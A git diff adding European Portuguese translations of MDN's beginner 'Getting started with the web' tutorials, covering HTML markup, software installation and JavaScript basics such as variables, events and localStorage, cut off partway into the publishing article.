+ +

Vamos virar a nossa atenção para o elemento {{htmlelement("img")}} outra vez:

+ +
<img src="images/firefox-icon.png" alt="My test image">
+ +

Como já referimos, incorpora uma imagem na nossa página, no local onde aparece. Para tal recorre ao atributo src (source — fonte, origem), que contém o caminho para o ficheiro de imagem.

+ +

Também incluímos o atributo alt (alternativa). Neste atributo, você especifica texto descritivo para utilizadores que não conseguem ver a imagem, possivelmente porque:

+ +
    +
  1. Têm deficiências visuais. Utilizadores com deficiências visuais significativas costumam utilizar ferramentas chamadas leitores de ecrã que lhes lê o texto alternativo.
  2. +
  3. Alguma coisa correu mal e fez com que a imagem não fosse mostrada. Por exemplo, tente mudar deliberadamente o caminho no atributo src para torná-lo incorreto. Se guardar e recarregar a página, deve ver algo como isto em vez da imagem:
  4. +
+ +

+ +

As palavras-chave sobre texto alternativo são: "texto descritivo". Ou seja, deve dar ao leitor informação suficiente para ter uma boa ideia do que a imagem transmite. Neste exemplo, o texto atual, "My test image" não é nada bom. Uma alternativa muito melhor para o nosso logótipo do Firefox seria "Logótipo do Firefox: uma raposa flamejante a rodear o mundo."

+ +

Agora, tenta encontrar texto alternativo melhor para a tua imagem.

+ +
+

Nota: saiba mais sobre acessibilidade em MDN - Página de Acessibilidade.

+
+ +

Marcação de texto

+ +

Esta secção irá abranger alguns dos elementos básicos de HTML que irá utilizar para marcar texto.

+ +

Títulos

+ +

Elementos de título permitem especificar que determinadas partes do seu conteúdo são títulos (ou subtítulos) do conteúdo. Da mesma forma que um livro tem um título principal, títulos de capítulos e subtítulos, um documento HTML também os pode ter. HTML contém seis níveis de títulos, {{htmlelement("h1")}}–{{htmlelement("h6")}} mas geralmente usam-se no máximo 3 ou 4:

+ +
<h1>Título principal</h1>
+<h2>Título mais abrangente</h2>
+<h3>Subtítulo</h3>
+<h4>Sub-subtítulo</h4>
+ +

Tente agora acrescentar um título à sua página HTML mesmo por cima do seu elemento {{htmlelement("img")}}.

+ +

Parágrafos

+ +

Como já foi explicado, elementos {{htmlelement("p")}} servem para conter parágrafos; vai usá-los frequentemente quando marcar conteúdo textual:

+ +
<p>Isto é um único parágrafo</p>
+ +

Acrescente um ou mais parágrafos com a sua amostra de texto (conforme o artigo Qual será a aparência do seu site da Web?), diretamente por baixo do elemento {{htmlelement("img")}}.

+ +

Listas

+ +

Grande parte do conteúdo da web está em listas, e HTML tem elementos especiais para as mesmas. Marcar listas consiste sempre em pelo menos 2 elementos. As listas mais comuns são as listas ordenadas e não ordenadas:

+ +
    +
  1. Listas não ordenadas são listas em que a ordem dos elementos não é relevante, como uma lista de compras. São envoltas no elemento {{htmlelement("ul")}}.
  2. +
  3. Listas ordenadas são listas em que a ordem dos elementos é importante, como uma receita. São envoltas no elemento {{htmlelement("ol")}}.
  4. +
+ +

Cada artigo na lista é colocado dentro de um elemento {{htmlelement("li")}} (list item).

+ +

Por exemplo, se quisermos transformar parte deste trecho numa lista:

+ +
<p>Na Mozilla, somos uma comunidade global de tecnólogos, pensadores, e construtores que trabalham juntos ... </p>
+ +

Podemos modificar a marcação desta forma:

+ +
<p>Na Mozilla, somos uma comunidade global de</p>
+
+<ul>
+  <li>tecnólogos</li>
+  <li>pensadores</li>
+  <li>construtores</li>
+</ul>
+
+<p>que trabalham juntos ... </p>
+ +

Tente acrescentar uma lista ordenada ou não ordenada à sua página de exemplo.

+ +

Hiperligações

+ +

As hiperligações são muito importantes — são elas que tornam a internet na internet! Para acrescentar uma ligação, precisamos de um elemento simples — {{htmlelement("a")}} — cujo "a" abrevia "âncora". Para transformar texto no seu parágrafo numa ligação, siga estes passos:

+ +
    +
  1. Escolha algum texto. Escolhemos o texto "Manifesto da Mozilla".
  2. +
  3. Envolva o texto num elemento {{htmlelement("a")}}, assim: +
    <a>Manifesto da Mozilla</a>
    +
  4. +
  5. Dê ao elemento {{htmlelement("a")}} um atributo href, assim: +
    <a href="">Manifesto da Mozilla</a>
    +
  6. +
  7. Preencha o valor deste atributo com o endereço web para o qual quer ligar a hiperligação: +
    <a href="https://www.mozilla.org/pt-PT/about/manifesto/">Manifesto da Mozilla</a>
    +
  8. +
+ +

Pode obter resultados inesperados se omitir a parte do protocolo no início do endereço web (https:// ou http://). Depois de criar uma hiperligação, clique para assegurar que está a enviá-lo para onde é pretendido.

+ +
+

href pode, à primeira vista, parecer uma escolha obscura para o nome de um atributo. Se tiver dificuldades em lembrar-se dele, recorde que significa hypertext reference.

+
+ +

Agora, acrescente a hiperligação à sua página, se ainda não o fez.

+ +

Conclusão

+ +

Se seguiu todas as instruções nesta página, deve ter conseguido uma página que se assemelha à página em baixo (também pode vê-la aqui):
+
+ A web page screenshot showing a firefox logo, a heading saying mozilla is cool, and two paragraphs of filler text

+ +

Se ficou preso, pode comparar o seu trabalho com o exemplo do código terminado no GitHub.

+ +

Aqui, mal tocámos na superfície da linguagem HTML. Para descobrir mais, dirija-se ao nosso tópico sobre Aprender HTML.

+ +

{{PreviousMenuNext("Learn/Comecar_com_a_Web/Lidar_com_ficheiros","Learn/Comecar_com_a_Web/CSS_basico", "Learn/Comecar_com_a_Web")}}

+ +

Neste módulo

+ + diff --git a/files/pt-pt/learn/getting_started_with_the_web/index.html b/files/pt-pt/learn/getting_started_with_the_web/index.html new file mode 100644 index 0000000000..59a4431592 --- /dev/null +++ b/files/pt-pt/learn/getting_started_with_the_web/index.html @@ -0,0 +1,65 @@ +--- +title: Primeiros passos na Web +slug: Learn/Comecar_com_a_Web +tags: + - Beginner + - CSS + - Desenho + - Guía + - HTML + - 'I10n:priority' + - Index + - publicação + - teoria +translation_of: Learn/Getting_started_with_the_web +--- +
{{LearnSidebar}}
+ +
+

Iniciação à Web é uma série concisa introduzindo-lhe os aspetos práticos do desenvolvimento da Web. Irá configurar as ferramentas necessárias para criar uma página da Web simples e publicar o seu próprio código simples.

+
+ +

A história do seu primeiro site da Web

+ +

É muito trabalho para criar um site da Web profissional, por isso, se é novo no desenvolvimento da Web, nós encorajamos que comece por uma coisa pequena. Não irá criar outro Facebook de imediato, mas não é difícil ter o seu próprio site da Web simples on-line. Vamos lá começar.

+ +

Ao trabalhar com os artigos listados abaixo em ordem, irá passar do nada para ter a sua primeira página da Web on-line. Vamos lá!

+ +

Instalar software básico

+ +

Quando se trata de ferramentas para criar um site da Web, há muito a escolher. Se está apenas a começar, pode ficar confuso com a variedade de editores de código, estruturas e ferramentas de teste disponíveis. Em Instalar software básico, nós mostramos-lhe passo-a-passo como instalar apenas o software necessário para iniciar um desenvolvimento da web básico.

+ +

Qual será a aparência do seu site da Web?

+ +

Antes de começar a escrever o código do seu site da Web, deverá planeá-lo primeiro. Que informação está a apresentar? Que tipo de letra e cores está a utilizar? Como é que será apresentado o seu site da Web? Nós descrevemos um método simples que pode seguir para planear o conteúdo e o desenho do seu site.

+ +

Lidar com ficheiros

+ +

Um site consiste em muitos ficheiros: conteúdo de texto, código, stylesheets, conteúdo de média, e mais. Quando constrói um site, precisa de organizar os seus ficheiros e certificar-se que podem comunicar uns com os outros. Lidar com ficheiros explica como criar uma estrutura para os ficheiros do seu site e quais as questões que devem ser do seu conhecimento.

+ +

Básicos de HTML

+ +

Hypertext Markup Language (HTML) é o código que usa para estruturar, dar significado, e propósito ao seu conteúdo de web. Por exemplo, é o meu conteúdo um conjunto de parágrafos, ou uma lista de pontos? Tenho imagens inseridas na minha página? O HTML - Essencial fornece informação suficiente para o familiarizar com o HTML, sem o sobrecarregar.

+ +

Básicos de CSS

+ +

Cascading Stylesheets (CSS) é o código que usa para decorar o seu site. Por exemplo, quer o texto colorido negro ou vermelho? Onde desenhar o conteúdo no ecrã? Que imagens de fundo e cores deve usar para decorar o site? CSS - Essencial leva-o através do que precisa para começar.

+ +

Básicos de JavaScript

+ +

JavaScript é a linguagem de programação que utiliza para adicionar funcionalidades interativas ao seu website, por exemplo, jogos, coisas que acontecem quando botões são premidos ou quando dados são introduzidos em formulários, efeitos de estilo dinâmicos, animação, e muito mais. JavaScript - Essencial dá-lhe uma ideia do que é possível com esta linguagem emocionante, e como começar.

+ +

Publicar o seu site da Web

+ +

Após de escrever o código e organizar os ficheiros que compõem o seu site, tem de o colocar online para que as pessoas o possam encontrar. "Publicar o seu site da Web" descreve como colocar o seu código de amostra simples online com o mínimo de esforço.

+ +

Como é que funciona a Web

+ +

Quando acede ao seu site favorito, muitas coisas complicadas acontecem em segundo plano de que poderá não ter conhecimento. Como funciona a Web descreve o que acontece quando visualiza uma página da web no seu computador.

+ +

Consulte também

+ + diff --git a/files/pt-pt/learn/getting_started_with_the_web/installing_basic_software/index.html b/files/pt-pt/learn/getting_started_with_the_web/installing_basic_software/index.html new file mode 100644 index 0000000000..ebc5ddd3e3 --- /dev/null +++ b/files/pt-pt/learn/getting_started_with_the_web/installing_basic_software/index.html @@ -0,0 +1,165 @@ +--- +title: Instalar software básico +slug: Learn/Comecar_com_a_Web/Installing_basic_software +tags: + - Aprender + - Beginner + - Configurar + - Ferramentas + - Mecânicas da Web + - Navegador + - editor de texto + - 'l10n:priority' +translation_of: Learn/Getting_started_with_the_web/Installing_basic_software +--- +
{{LearnSidebar}}
+ +
{{NextMenu("Learn/Comecar_com_a_Web/Apresentacao_do_meu_site", "Learn/Comecar_com_a_Web")}}
+ +
+

Neste artigo, mostramos-lhe de que ferramentas precisa para desenvolvimento da Web básico, e como instalá-las corretamente.

+
+ +

Que ferramentas é que os profissionais utilizam?

+ + + +

De que ferramentas realmente preciso, de momento?

+ +

Parece uma lista assustadora, mas felizmente pode começar a desenvolver para a web sem saber nada sobre a maioria daquelas coisas. Neste artigo instalamos o mínimo dos mínimos — editor de texto e navegadores modernos.

+ +

Instalar um editor de texto

+ +

Provavelmente já tem um editor de texto simples no seu computador. O Windows inclui, de fábrica, o Bloco de Notas (Notepad) e o macOS vem com o Editor de Texto (TextEdit). Em distribuições de Linux, varia; Ubuntu vem com o gedit.

+ +

Para desenvolvimento na Web, há alternativas mais completas que o Notepad ou TextEdit. Propomos-lhe começar com o Visual Studio Code, um editor gratuito que oferece pré-visualização em tempo real e sugestões de código.

+ +
+

Não confundir Notepad (Bloco de Notas) com Wordpad! Este último é equiparável a programas de Office, que não são adequados para escrever código de computador, como já foi referido. 

+
+ +

Instalar navegadores da Web modernos

+ +

Antes de avançar, deve escolher uns navegadores que possa ter à mão para realizar testes. Escolha o seu sistema operativo e faça clique nos links para descarregar o programa de instalação respetivo dos seus navegadores preferidos:

+ + + +
+

Internet Explorer (IE) não é compatível com funções da web modernas e pode não conseguir correr o seu projeto. Tipicamente não será necessário fazer os seus projetos compatíveis com o IE, pois muito poucas pessoas ainda a utilizam - certamente não se preocupe muito com isso enquanto está a aprender. Por vezes pode deparar-se com um projeto que requer apoio para o mesmo.

+
+ +

Instalar um servidor da Web local

+ +

Alguns exemplos terão de ser executados através de um servidor da Web para funcionar com sucesso. Pode aprender como fazer isto no artigo como configurar um servidor local de testes?

+ +
{{NextMenu("Learn/Comecar_com_a_Web/Apresentacao_do_meu_site", "Learn/Comecar_com_a_Web")}}
+ +

Neste módulo

+ + + +
+ + + + + +
diff --git a/files/pt-pt/learn/getting_started_with_the_web/javascript_basics/index.html b/files/pt-pt/learn/getting_started_with_the_web/javascript_basics/index.html new file mode 100644 index 0000000000..fec3caaf51 --- /dev/null +++ b/files/pt-pt/learn/getting_started_with_the_web/javascript_basics/index.html @@ -0,0 +1,413 @@ +--- +title: JavaScript - Essencial +slug: Learn/Comecar_com_a_Web/Elementar_de_JavaScript +tags: + - Aprender + - Beginner + - CodingScripting + - JavaScript + - Web + - 'l10n:priority' +translation_of: Learn/Getting_started_with_the_web/JavaScript_basics +--- +
{{LearnSidebar}}
+ +
{{PreviousMenuNext("Learn/Comecar_com_a_Web/CSS_basico", "Learn/Comecar_com_a_Web/Publicar_o_seu_site_da_Web", "Learn/Comecar_com_a_Web")}}
+ +
+

JavaScript é uma linguagem de programação que dá interatividade ao seu website (sob a forma, por exemplo, de jogos, respostas quando os botões são pressionados ou quando são inseridos dados nos formulários, estilos dinâmicos ou animações). Este artigo faz uma introdução a esta linguagem excitante e dá-lhe uma ideia do que é possível.

+
+ +

O que é JavaScript, realmente?

+ +

{{Glossary("JavaScript")}} (abreviado "JS") é uma {{Glossary("Dynamic programming language", "linguagem de programação dinâmica")}} completa que, quando é aplicada a um documento {{Glossary("HTML")}}, produz interatividade dinânimca no website. Foi inventada por Brendan Eich, co-fundador do projeto Mozilla, da Mozilla Foundation, e da Mozilla Corporation.

+ +

JavaScript é incrivelmente versátil. Pode começar em ponto pequeno, com carrosséis, galerias de imagens, layouts flutuantes, e mensagens quando se prime um botão. Depois de ganhar experiência, será capaz de criar jogos, gráficos 2D e 3D animados, aplicações completas conduzidas por bases-de-dados e muito mais!

+ +

JavaScript é relativamente compacta e muito flexível. Os programadores já escreveram uma grande variedade de ferramentas sobre o núcleo desta linguagem, o que abriu portas a uma vasta quantidade de funcionalidade extra com esforço mínimo. Isto inclui:

+ + + +

Uma vez que este artigo é apenas uma introdução ligeira a JavaScript, não vamos confundi-lo com detalhes sobre a diferença entre JavaScript puro e as ferramentas enumeradas em cima. Poderá aprender esse detalhe mais tarde, na nossa área de aprendizagem de JavaScript, e no resto da MDN.

+ +

De seguida vamos introduzi-lo a alguns aspetos do núcleo da linguagem (JS puro, sem ferramentas), e também vai jogar com algumas funcionalidades da API do navegador. Divirta-se!

+ +

Um exemplo "olá mundo"

+ +

A secção anterior deve parecer mesmo empolgante — JavaScript é uma das tecnologias web mais animadas, e à medida que se torna bom a usá-la, os seus sites entrarão numa nova dimensão de poder e creatividade.

+ +

Contudo, ficar confortável com JavaScript é um pouco mais difícil do que ficar confortável com HTML e CSS. Terá que começar com projetos pequenos e prosseguir com passos pequenos e consistentes. Para começar, vamos mostrar como adicionar JavaScript básico à sua página, criando um exemplo "hello world" / "olá mundo!" (o padrão de exemplos básicos de programação).

+ +
+

Importante: Se não tem seguido o resto deste curso, descarregue este exemplo de código e utilize-o como ponto de partida.

+
+ +
    +
  1. Primeiro, crie uma pasta "scripts" (sem aspas) na raíz do seu site de testes. Depois, dento desta pasta, crie um ficheiro chamado main.js.
  2. +
  3. A seguir, no ficheiro index.html introduza o elemento seguinte numa linha nova mesmo antes da etiqueta de fechi </body>: +
    <script src="scripts/main.js"></script>
    +
  4. +
  5. Basicamente isto faz o mesmo que o elemento {{htmlelement("link")}} faz com CSS — aplica o código JavaScript à página, para que surta efeito no HTML (juntamente com o CSS, e outros recursos da página).
  6. +
  7. Agora adicione o código seguinte ao ficheiro main.js: +
    var myHeading = document.querySelector('h1');
    +myHeading.textContent = 'Olá mundo!';
    +
  8. +
  9. Finalmente, certifique-se que guardou as alterações aos ficheiros HTML e JavaScript, e carregue o ficheiro index.html no navegador. Deverá ver algo como:
  10. +
+ +
+

Nota: O motivo pelo qual pusemos o elemento {{htmlelement("script")}} no fim do ficheiro HTML é que os elementos são carregados pelo navaegador na ordem em que aparecem no ficheiro. Se o JavaScript é carregado primeiro e tem que afetar o HTML por baixo dele, pode não funcionar, já que o código JavaScript seria carregado antes do HTML que era suposto modificar. Assim, colocar o JavaScript no fim do ficheiro HTML costuma ser a melhor estratégia.

+
+ +

O que aconteceu?

+ +

O texto do título foi mudado para "Hello world!", utilizando JavaScript. Isto foi feito com a função {{domxref("Document.querySelector", "querySelector()")}} para obter uma referência do título e guardá-la numa variável myHeading. Isto é semelhante ao que fizémos com seletores CSS. Quando se pretende fazer algo com um elemento, há que selecioná-lo primeiro.

+ +

Depois, muda-se o valor da propriedade {{domxref("Node.textContent", "textContent")}} da variável myHeading (a qual representa o conteúdo textual do título) para "Olá Mundo!".

+ +
+

Nota: Ambas as funções utilizadas fazem parte da API do Document Object Model (DOM) , o qual permite manipular documentos HTML.

+
+ +

Curso intensivo das bases da linguagem

+ +

Vamos explicar algumas funcionalidades fundamentais da linguagem JavaScript, para permitir uma melhor compreensão de como a mesma funciona. Note que estas funcionalidades são comuns a todas as linguagens de programação, por isso, se dominar estes fundamentos, estará no bom caminho para programar praticamente qualquer coisa!

+ +
+

Importante: Neste artigo, tente introduzir os exemplos de código na consola JavaScript para ver o que acontece. Para mais detalhes sobre a consola JavaScript, veja o artigo Descobrir as ferramentas de desenvolvimentos do navegador.

+
+ +

Variáveis

+ +

{{Glossary("Variable", "Variáveis")}} são "recipientes" em que pode guardar valores. Comece por declarar a variável com a palavra-chave var, seguida de qualquer nome que lhe queira dar:

+ +
var minhaVariavel;
+ +
+

Nota: O ponto e vírgula indica onde termina a instrução; apenas é estritamente necessário quando pretende separar instruções numa só linha. Contudo, algumas pessoas acham que é boa prática colocar este sinal no fim de cada instrução. Há mais regras sobre quando se deve ou não utilizá-lo — veja o artigo Your Guide to Semicolons in JavaScript (inglês) para obter mais detalhes.

+
+ +
+

Nota: O nome da varíavel pode ser quase tudo, mas há restrições (veja este artigo sobre regras para dar nome às variáveis (inglês)). Se não tem a certeza, pode verificar o nome da sua variável para assegurar que é válido.

+
+ +
+

Nota: JavaScript é sensível a maiúsculas — minhaVariavel é uma variável diferente de minhavariavel. Se tiver encontrar problemas depois de escrever p código, verifique as maiúsculas e minúsculas!

+
+ +

Depois de declarar a variável, pode atribuir-lhe um valor:

+ +
minhaVariavel = 'Bob';
+ +

Pode efetuar ambas as operações com uma só instrução:

+ +
var myVariable = 'Bob';
+ +

O valor é obtido simplesmente escrevendo o nome da variável:

+ +
myVariable;
+ +

Depois de lhe dar um valor, pode optar por mudá-lo mais tarde:

+ +
var minhaVariavel = 'Bob';
+minhaVariavel = 'Steve';
+ +

Atenção que as variáveis podem ter valores com diferentes tipos de de dados:

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
VariávelExplicaçãoExemplo
{{Glossary("String")}}Uma sequência de texto conhecido como string ou cadeia de caracteres. Para indicar que é uma string, envolve-se em plicas '.var minhaVariavel = 'Bob';
{{Glossary("Number")}}Um número. Não tem plicas em sua volta.var minhaVariavel = 10;
{{Glossary("Boolean")}}Valor que ou é verdadeiro ou falso. As palavras true e false são palavras-chave em JS, e não precisam de plicas.var minhaVariavel = true;
{{Glossary("Array")}}Estrutura que permite guardar múltiplos valores numa só referência.var minhaVariavel = [1,'Bob','Steve',10];
+ Cada elemento da Array é referido desta forma (começa em zero):
+ myVariable[0], myVariable[1], etc.
{{Glossary("Object")}}Pode ser qualquer coisa. Em JavaScript, tudo é um objeto e pode guardar-se numa variável. Mantenha isto em mente enquanto aprende.var minhaVariavel = document.querySelector('h1');
+ Assim como todos os exemplos anteriores.
+ +

Então para que precisamos das variáveis? Bem, são necessárias para qualquer tarefa interessante em programação. Se não houvesse valores que mudassem, não seria possível criar nada que fosse dinâmico, como personalizar uma mensagem de boas vindas ou mudar a imagem que se está a ver numa galeria.

+ +

Comentários

+ +

Pode deixar comentários no seu código JavaScript, tal como em CSS:

+ +
/*
+Tudo entre estas marcas é um comentário.
+*/
+ +

Se o comentário não contiver quebras de linha, deve ser mais fácil utilizar duas barras, assim:

+ +
// Isto é um comentário
+
+ +

Operadores

+ +

Um {{Glossary("operator")}} é um símbolo matemático que produz o resultado de uma operação entre dois valores (que podem ser variáveis). Na tabela seguinte constam alguns dos operadores mais simples, juntamente com alguns exemplos que pode experimentar na consola de JavaScript.

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
OperadorExplicaçãoSímbolo(s)Exemplo
AdiçãoSoma números ou junta duas strings.+6 + 9;
+ "Hello " + "world!";
Subtração, Multiplicação, DivisãoComportam-se com esperado em aritmética.-, *, /9 - 3;
+ 8 * 2; // em JS, o sinal de "vezes" é um asterisco
+ 9 / 3;
AtribuiçãoJá vimos isto: atribui um valor a uma variável.=var minhaVariavel = 'Bob';
IgualdadeFaz um teste para verificar se dois valores são iguais e retorna um valor booleano (true/false).===var minhaVariavel = 3;
+ minhaVariavel === 4;
Negação, DesigualdadeDevolve o valor logicamente oposto, ou seja, torna o verdadeiro em falso e vice-versa. When it is used alongside the Equality operator, the negation operator tests whether two values are not equal.!, !== +

The basic expression is true, but the comparison returns false because we've negated it:

+ +

var myVariable = 3;
+ !(myVariable === 3);

+ +

Verificar se "a minhaVariavel NÃO é igual a 3". Retorna false porque minhaVariavel é de facto igual a 3.

+ +

var minhaVariavel = 3;
+ minhaVariavel !== 3;

+
+ +

Há muito mais operadores a explorar, mas por agora basta. Veja uma lista completa no artigo Expressões e operadores.

+ +
+

Nota: Misturar tipos de dados pode ter resultados estranhos, então certifique-se que está a utilizar as variáveis corretamente e que os resultados estão dentro do esperado. Por exemplo, introduza "35" + "25" na consola. Porque é que não faz a soma dos números? Porque as aspas tornam os números em strings, então em vez de somar, fez a concatenção das strings. Se introduzir, 35 + 25 já obterá o resultado correto.

+
+ +

Condições

+ +

Condições são estruturas de código que permitem, em função do valor lógico (verdadeiro/falso) de uma expressão, executar código de entre várias alterantivas. Uma forma comum de uma condiçães é a instrução if ... else (se ... senão). Por exemplo:

+ +
var gelado = 'chocolate';
+if (gelado === 'chocolate') {
+  alert('Viva, adoro gelado de chocolate!');
+} else {
+  alert('Ohhhh, mas o meu favorito é chocolate...');
+}
+ +

A expressão dentro de parênteses em if ( ... ) é a condição — utilza o operador de igualdade (como foi descrito em cima) para comparar a variável gelado com a string 'chocolate' e assim verificar se são iguais. Caso esta comparação devolva true, é executado o primeiro bloco de código. Se não for verdadeira, não é executado o primeiro mas sim o segundo bloco de código, depois da instrução else.

+ +

Funções

+ +

{{Glossary("Function", "Functions")}} são uma maneira de juntar uma funcionalidade ou um conjunto instruções que se pretende reutilizar. Quando se pretende utilizar esta funcionalidade, chama-se a função pelo nome, em vez de voltar a escrever o código em cada utilização. Já pudémos ver a utilização de algumas funções, por exemplo:

+ +
    +
  1. +
    var minhaVariavel = document.querySelector('h1');
    +
  2. +
  3. +
    alert('hello!');
    +
  4. +
+ +

Estas funções, document.querySelector e alert, estão incluídas no navegador para serem utilizadas sempre que necessário.

+ +

Quando vê algo que parece um nome de uma variável mas tem parênteses à direita— () —  é provavelmente uma função. As funções costumam possuir {{Glossary("Argument", "arguments")}} — dados de que necessitam para fazer o seu trabalho. Estes são passados dentros dos parênteses, separados por vírgulas quando há mais do que um.

+ +

Por exemplo, a função alert() faz aparecer um "pop-up" na janela do navegador, mas é preciso dar-lhe uma string como argumento para que ela saiba o que escrever.

+ +

E as boa notícia é que pode definir as suas próprias funções. Neste exemplo escrevemos uma função simples que aceita dois argumentos numéricos e multiplica-os:

+ +
function multiplicar(num1,num2) {
+  var resultado = num1 * num2;
+  return resultado;
+}
+ +

Tente declarar esta função na consola e depois testá-la com vários argumentos. Por exemplo:

+ +
multiplicar(4, 7);
+multiplicar(20, 20);
+multiplicar(0.5, 3);
+ +
+

Nota: A instrução return diz ao navegador para devolver/retornar a variável result para fora da função para que o seu valor possa ser utilizado. Isto é necessário porque variáveis definidas dentro das funções só estão disponíveis dentro dessas funções — a essa particularidade chama-se o âmbito da variável ({{Glossary("Scope", "scoping")}}). (Leia mais sobre âmbito de variáveis)

+
+ +

Eventos

+ +

Num site, interactividade a sério precisa de eventos. Eles são estruturas de código que esperam que algo aconteça no navegador e respondem executando código. O exemplo mais óbvio é o evento de clique, que é enviado pelo navegador quando se clica em algo com o rato. Para demonstrar, introduza isto na sua consola, e depois clique na página atual:

+ +
document.querySelector('html').onclick = function() {
+    alert('Ai! Para de me picar!');
+}
+ +

Há muitas maneiras de associar um evento a um elemento. Aqui, selecionamos o elemento {{htmlelement("html")}}, atribuímos à sua propriedade onclick o manuseador do evento (event handler), que neste caso é uma função anónima (sem nome), que contém o código que queremos que o evento de clique execute.

+ +

Note que isto:

+ +
document.querySelector('html').onclick = function() {};
+ +

É equivalente a isto:

+ +
var myHTML = document.querySelector('html');
+myHTML.onclick = function() {};
+ +

Só que o primeiro é mais curto.

+ +

Supercarregar o nosso site-exemplo

+ +

Agora que que já vimos as bases de JavaScript, vamos acrescentar umas funcionalidades fixes ao nosso site para ver o que é possível.

+ +

Acrescentar um alterador de imagens

+ +

Nesta secção, vamos acrescentar uma imagem adicional ao nosso site com funções da API da DOM, utilizando JavaScript para mudar alternar entre as duas imagens quando se clica nelas.

+ +
    +
  1. Primeiro, encontre outra imagem que goste de ter no seu site. Certifique-se que o tamanho é o mais próximo possível da primeira imagem.
  2. +
  3. Guarde-a na pasta images.
  4. +
  5. Mude o nome para "firefox2.png" (sem aspas).
  6. +
  7. Vá ao ficheiro main.js, e introduza o seguinte código JavaScript. (Apague o código do "olá mundo", se ainda lá estiver) +
    var myImage = document.querySelector('img');
    +
    +myImage.onclick = function() {
    +    var mySrc = myImage.getAttribute('src');
    +    if(mySrc === 'images/firefox-icon.png') {
    +      myImage.setAttribute('src','images/firefox2.png');
    +    } else {
    +      myImage.setAttribute('src','images/firefox-icon.png');
    +    }
    +}
    +
  8. +
  9. Guarde todos os ficheiros e carregue o index.html no navegador. Agora, quando clicar sobre a imagem, ela deve mudar para a outra!
  10. +
+ +

Guardou-se uma referência para o elemento {{htmlelement("img")}} na variável myImage. Depois, atribui-se à propriedade onclick desta variável uma função anónima. Agora, sempre que se clica no elemento:

+ +
    +
  1. Obtem-se o valor do atributo src.
  2. +
  3. Utiliza-se uma condição para averiguar se o valor do mesmo é igual ao caminho da primeira imagem: +
      +
    1. Se for, muda-se para o caminho da 2ª imagem, o que a obriga a ser carregada no elemento {{htmlelement("img")}}.
    2. +
    3. Se não for (e portanto, já se trocaram as imagens), o valor de src volta a ser o caminho da imagem original.
    4. +
    +
  4. +
+ +

Dar uma mensagem de boas-vindas personalizada

+ +

De seguida vamos acrescentar mais um pouco de código, que vai mudar o título da página para uma mensagem de boas-vindas personalizada quando o utilizador navega no site pela primeira vez. A mesma vai persistir, mesmo que o utilizador saia do site e volte mais tarde — vamos guardá-la com a API de Web Storage. Também vamos acrescentar opção de mudar de utilizador e, com o mesmo, a mensagem de boas-vindas sempre que for necessário.

+ +
    +
  1. Em index.html, acrescente esta linha logo antes do elemento {{htmlelement("script")}}: + +
    <button>Change user</button>
    +
  2. +
  3. Em main.js, coloque o código seguinte no fim do ficheiro, tal como está escrito — isto obtem referências ao novo botão e o título, e guarda-os em variáveis: +
    var myButton = document.querySelector('button');
    +var myHeading = document.querySelector('h1');
    +
  4. +
  5. Agora acrescente a função em baixo para estabelecer a mensagem personalizada — por agora não faz nada, mas já vamos tratar disso: +
    function setUserName() {
    +  var myName = prompt('Por favor introuduza o seu nome.');
    +  localStorage.setItem('name', myName);
    +  myHeading.textContent = 'Mozilla is cool, ' + myName;
    +}
    + Este função faz uso da função prompt(), que mostra uma caixa de diálogo, semelhante a alert(). Mas a prompt() pede ao utilizador que introduza dados, que armazena numa variável depois que o mesmo faça OK. Neste caso, pedimos ao utilizador que introduza o seu nome. Depois, recorremos à API chamada localStorage, que nos permite guardar dados no navegador para os obter mais tarde. Utilizamos a função setItem() para criar e guardar o artigo 'name', e dando-lhe o valor da variável myName, a qual contém o nome introduzido pelo utilizador. Finalmente, mudamos o textContent do título para uma string, à qual concatenamos o nome recentemente armazenado.
  6. +
  7. Próximo: acrescente este bloco if ... else — podemos chamar-lhe código de iniciação, já que define a estrutura da aplicação quando é carregada pela primeira vez: +
    if(!localStorage.getItem('name')) {
    +  setUserName();
    +} else {
    +  var storedName = localStorage.getItem('name');
    +  myHeading.textContent = 'Mozilla is cool, ' + storedName;
    +}
    + Este bloco começa por utilizar o operador de negação ("não-lógico", representado pelo !) para averiguar se o dado name existe. Se não existir, a função setUserName() é utilizada para o criar. Se existe (ou seja, o utilizador introduziu-o numa visita anterior), recuperamos o nome armazenado com getItem() e mudamos textContent do título para a string, mais o nome do utilizador, da mesma forma que fizémos em setUserName().
  8. +
  9. Finalmente, coloque o manuseador do evento onclick no botão, como se mostra em baixo. Quando se clica no botão, é chamada a função setUserName(). Isto permite ao utilizador introduzir um novo nome, sempre que desejar, ao premir o botão: +
    myButton.onclick = function() {
    +  setUserName();
    +}
    +
    +
  10. +
+ +

Agora, sempre que visitar o site, vai pedir-lhe o seu nome de utilizador, e depois mostrar a mensagem personalizada. Pode mudar o nome sempre que quiser ao premir o botão. Como bónus, já que o nome está guardado em localStorage (armazenamento local), persiste mesmo que o site seja fechado, e mantém a mensagem quando se voltar ao site!

+ +

Conclusão

+ +

Se seguiu as instruções neste artigo, o resultado final deve ser uma página semelhante à que vê na imagem em baixo (pode ver  a nossa versão aqui):

+ +

+ +

Caso se tenha perdido, pode comparar o código que escreveu com o nosso exemplo terminado no GitHub.

+ +

Este artigo mal rasou a superfície de JavaScript. Se gostou de brincar e deseja continuar a aprender, dirija-se ao nosso tópico de aprendizegem de JavaScript.

+ +
{{PreviousMenuNext("Learn/Comecar_com_a_Web/CSS_basico", "Learn/Comecar_com_a_Web/Publicar_o_seu_site_da_Web", "Learn/Comecar_com_a_Web")}}
+ +

Neste módulo

+ + diff --git a/files/pt-pt/learn/getting_started_with_the_web/publishing_your_website/index.html b/files/pt-pt/learn/getting_started_with_the_web/publishing_your_website/index.html new file mode 100644 index 0000000000..7e99504b95 --- /dev/null +++ b/files/pt-pt/learn/getting_started_with_the_web/publishing_your_website/index.html @@ -0,0 +1,125 @@ +--- +title: Publicar o seu site na Web +slug: Learn/Comecar_com_a_Web/Publicar_o_seu_site_da_Web +tags: + - Aprender + - Beginner + - CodingScripting + - FTP + - GitHub + - Google App Engine + - Servidor de Web + - Web + - publicar +translation_of: Learn/Getting_started_with_the_web/Publishing_your_website +--- +
{{LearnSidebar}}
+ +
{{PreviousMenuNext("Learn/Comecar_com_a_Web/Elementar_de_JavaScript", "Learn/Comecar_com_a_Web/Como_funciona_a_Web", "Learn/Comecar_com_a_Web")}}
+ +
+

